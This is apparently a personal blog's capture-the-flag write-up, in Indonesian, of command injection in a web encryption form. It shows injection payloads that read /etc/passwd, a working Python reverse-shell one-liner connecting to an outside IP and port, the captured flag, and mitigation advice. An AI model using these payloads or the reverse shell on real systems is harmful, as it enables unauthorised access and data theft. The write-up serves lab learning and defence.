Search this site
Embedded Files
rwx4m
  • Beranda
  • Tentang
  • Project & Lab
rwx4m
  • Beranda
  • Tentang
  • Project & Lab
  • More
    • Beranda
    • Tentang
    • Project & Lab

Room Link

DARK ENCRYPTOR

Category: Web || Level: EASY

📌 Deksripsi Kerentanan

Aplikasi ini memungkinkan pengguna memasukkan teks untuk dienkripsi. Namun, input pengguna tidak divalidasi dengan baik, memungkinkan eksekusi perintah sistem dengan karakter seperti $(command), ;, atau &&.

📌 Eksploitasi

Disini saya mencoba beberapa kali memasukan text yang akan di encrypt dan tampilannya akan seperti pada gambar dibawah ini.

Kemudian jika memasukan text "#", terlihat pada bagian output bahwa ada sebuah script python "enc.py" yang dijalankan untuk generate enkripsi ini.

Saya mencoba teknik untuk command injection seperti dibawah ini tetapi masih belum berhasil.

Hasil percobaan:

text to encrypt: "$(ls -la /)


Encrypt output:

ShadowPacket:

-----BEGIN PGP MESSAGE-----


hQEMA+5Vk8kCoHjDAQf/fq/+O7kppOI0DFiA9R9kLPcROTJT1QgHgiqUgewMhTII

P2+03dY3y/7lx38XFe8ZV+b5GzidBgxdGYeL4/BDVBHV1dKnQ0sR/6mFJEuZsVD7

Jo0JfLRQQzUrTXSFeEKSOeonltIaENi53Ca8RnwnLZeprp8ak93WI17P5qLXOM9y

fSlMQzddvZHZ7Ou5wbfzlCPcmVnszBthO1f8mAf1VDUiDxAkG5wuTFH2Onzo4ilq

CDFzXb/qrKq91ImOv/3EiW+/ymoQkWYesShIj7j84hCRWIy7a4f+i23blMtxtA7V

ZO+wk8DMhoMRJWvIZd2xPNrkUxeh0iCXoBNsYYE7mdRLAQkCEDCXs/iOTFipRnsS

00eQtyYYFv+MdE6xut9HcyV2Yn9QUUwj5yLO4rzmT4BbZWj6P4gF6Y5iKSU7B5Wp

0DSH1cqBe9Khe2Qv

=ScJR

-----END PGP MESSAGE-----

Saya ganti payload

-text to encrypt: ; cat /etc/passwd


Encrypted Output:

Usage: python3 enc.py -r <recipient> -t <text>

root:x:0:0:root:/root:/bin/bash

<SNIP>

ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin

dhcpcd:x:114:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

polkitd:x:997:997:User for polkitd:/:/usr/sbin/nologin

Dari sini diketahui bahwa terdapat kerentanan command injection

Hasil pada gambar dibawah, menunjukkan bahwa server merespons dengan menampilkan isi file `/etc/passwd`, yang berisi daftar pengguna sistem.

*Sebenarnya dari sini saja kita sudah bisa mendapatkan flag dengan command "cat flag.txt" tetapi saya ingin mencoba teknik lain ^^

Saya mencoba untuk mendapatkan Reverse Shell

; python3 -c 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.45.51",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Benar saja, saya berhasil masuk dan mendapatkan Flag

Final Flag🎯

Ouput Pesan yang didekripsi:

THM{pgp_cant_stop_me}

Kesimpulan

Kerentanan ini memungkinkan penyerang mengeksekusi perintah sistem melalui fitur enkripsi yang tidak divalidasi dengan baik.

Mitigasi

  1. Validasi dan Escape Input:

  • Terapkan whitelist karakter yang diperbolehkan dalam input.

  • Gunakan fungsi seperti shlex.quote() di Python atau escapeshellarg() di PHP untuk mencegah eksekusi shell.

  1. Gunakan API, Bukan Command-Line Langsung:

  • Hindari memanggil system() atau exec() langsung dari input pengguna.

  • Gunakan pustaka native seperti gnupg di Python untuk enkripsi tanpa interaksi shell.

  1. Batasi Hak Akses Proses:

  • Jalankan proses dengan akun non-root.

  • Gunakan container atau sandbox untuk membatasi akses ke sistem.

'Pendidikan adalah rangkaian pelajaran yang semakin lama malah semakin tinggi nilainya'

LinkLinkedInLinkLinkLinkLinkGitHubLinkLink
rwx4m. Personal Blog. © 2026
Made with ❤️ to Cyber Security
Google Sites
Report abuse
Google Sites
Report abuse